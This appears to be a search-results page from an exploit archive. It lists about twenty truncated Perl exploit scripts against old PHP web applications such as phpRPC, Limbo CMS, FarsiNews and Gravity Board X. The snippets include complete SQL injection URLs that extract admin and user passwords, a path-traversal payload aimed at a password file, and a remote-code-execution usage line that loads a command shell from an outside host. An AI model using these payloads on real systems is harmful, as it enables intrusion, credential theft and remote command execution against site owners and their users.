1850 matches found
d2kBlog 1.0.3 - memName SQL Injection
d2kBlog 1.0.3 - memName SQL Injection !/usr/bin/perl -w D2KBLOG SQL injection Discovered by : Farhad Koosha farhadkey at kapda.ir Exploited by : devilbox devilbox at kapda.ir member of : Kapda.ir - Security Science Researchers Institute of Iran persianhacker.net require LWP::UserAgent; require...
Light Weight Calendar 1.x (date) Remote Code Execution Vulnerability
No description provided by source. !/usr/bin/perl Light Weight Calendar Exploit by Hessam-x www.hessamx.net / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // / | / /\ | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir Name : Light Weight Calendar version : 1...
Light Weight Calendar 1.x - 'date' Remote Code Execution
!/usr/bin/perl Light Weight Calendar Exploit by Hessam-x www.hessamx.net / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir Name : Light Weight Calendar version : 1. use LWP::Simple; print...
Fantastic News <= 2.1.2 (script_path) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Fantastic News v2.1.2 and possibly below Remote Command Execution Bug Found By uid0 Exploit Coded by Zod c 2006 ExploiterCode.com usage: perl FNews.pl location of Fantastic News cmd shell location cmd shell variable perl FNews.pl...
Fantastic News 2.1.2 - 'script_path' Remote Code Execution
!/usr/bin/perl Fantastic News v2.1.2 and possibly below Remote Command Execution Bug Found By uid0 Exploit Coded by Zod c 2006 ExploiterCode.com usage: perl FNews.pl perl FNews.pl http://site.com/FNews/ http://site.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd; hai to: zodiac, ne...
phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution (2)
No description provided by source. !/usr/bin/perl phpRPC =0.7 Remote Command Execution Exploit based on: http://www.gulftech.org/?node=research&articleid=00105-02262006 Copyright c 2006 cijfer cijfer@netti!fi All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to...
phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution (2)
Exploit for unknown platform in category web applications ================================================================= phpRPC Library $host, "proxy=s" = $proxy, "verbose+" = $verbose; &usage unless $host; while print color"green", "cijfer$ ", color"reset"; chomp$command = ; exit unless...
phpRPC Library 0.7 - XML Data Decoding Remote Code Execution (2)
phpRPC Library 0.7 - XML Data Decoding Remote Code Execution 2 !/usr/bin/perl phpRPC All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ $Id: cijfer-prpcxpl.pl,v 0.1 2006/03/01 05:46:00 cijfer Exp $ use LWP::UserAgent; use...
phpRPC Library 0.7 - XML Data Decoding Remote Code Execution (2)
!/usr/bin/perl phpRPC All rights reserved. never ctrl+c again. cijfer$ http://target.com/dir host changed to 'http://target.com/dir' cijfer$ $Id: cijfer-prpcxpl.pl,v 0.1 2006/03/01 05:46:00 cijfer Exp $ use LWP::UserAgent; use URI::Escape; use Getopt::Long; use Term::ANSIColor; $res =...
Limbo CMS <= 1.0.4.2 (ItemID) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Limbo CMS = 1.0.4.2 ItemID Remote Code Execution Exploit Bug Discovered by: Coloss / Epsilon advance1atgmail.com http://coded.altervista.org/limbophp.pl /str0ke milw0rm.com use LWP::Simple; $serv = $ARGV0; $path = $ARGV1; $command = $ARGV2; $cmd =...
Limbo CMS 1.0.4.2 - 'itemID' Remote Code Execution
!/usr/bin/perl Limbo CMS = 1.0.4.2 ItemID Remote Code Execution Exploit Bug Discovered by: Coloss / Epsilon advance1atgmail.com http://coded.altervista.org/limbophp.pl /str0ke milw0rm.com use LWP::Simple; $serv = $ARGV0; $path = $ARGV1; $command = $ARGV2; $cmd = "echo starter;". "$command;". "ech...
Farsinews 2.5 - Directory Traversal Arbitrary users.db Access
Farsinews 2.5 - Directory Traversal Arbitrary users.db Access !/usr/bin/perl FarsiNews 2.5pro Show User&Passowrd Exploit by Hessam-x www.hessamx.net / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir Description Name :...
Farsinews 2.5 - Directory Traversal Arbitrary 'users.db' Access
!/usr/bin/perl FarsiNews 2.5pro Show User&Passowrd Exploit by Hessam-x www.hessamx.net / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir Description Name : FarsiNews www.farsinewsteam.com version : 2.5Pro in FarsiNews if...
saphplesson.pl.txt
!/usr/bin/perl For password http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor For username http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor sent in by SnIpErSA selfar2002athotmail.com ported by str0ke...
saPHP Lesson 2.0 - forumid SQL Injection
saPHP Lesson 2.0 - forumid SQL Injection !/usr/bin/perl For password http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor For username http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor sent in by SnIpErSA...
saPHP Lesson 2.0 - 'forumid' SQL Injection
!/usr/bin/perl For password http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor For username http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor sent in by SnIpErSA selfar2002athotmail.com ported by str0ke...
phpWebSite 0.10.0-full - 'topics.php' SQL Injection
!/usr/bin/perl advisory sent in by SnIpErSA selfar2002athotmail.com http://www.target.com/topics.php?op=viewtopic&topic=-1%20Union%20select%20name,name,pass,name%20From%20users%20where%20uid=1 ported by str0ke milw0rm.com from x97Rangs code RST/GHC http://rst.void.ru use LWP::Simple; $serv =...
RCblog exploit [fun]
!/usr/bin/perl RCBlog 1.0.3 / 1.0.2 Exploit by Hessam-x www.hessamx.net Name : RCBlog www.fluffington.com version : 1.0.3 / 1.0.2 manual exploiting: index.php?20post=../config/password use LWP::Simple; print "-------------------------------------------n"; print "= RCBlog 1.0.3 / 1.0.2 =n"; print ...
Gravity Board X 1.1 - csscontent Remote Code Execution
Gravity Board X 1.1 - csscontent Remote Code Execution !/usr/bin/perl Gravity Board X v1.1 possibly prior versions remote code execution exploit coded by 1dt.w0lf 14.08.2005 RST/GHC http://rst.void.ru http://ghc.ru use LWP::UserAgent; if@ARGVnew or die; $res =...
Gravity Board X <= 1.1 (csscontent) Remote Code Execution Exploit
No description provided by source. !/usr/bin/perl Gravity Board X v1.1 possibly prior versions remote code execution exploit coded by 1dt.w0lf 14.08.2005 RST/GHC http://rst.void.ru http://ghc.ru use LWP::UserAgent; if@ARGV1 exit0; $path = $ARGV0; header; print "Creating shell... Please wait\n"; $...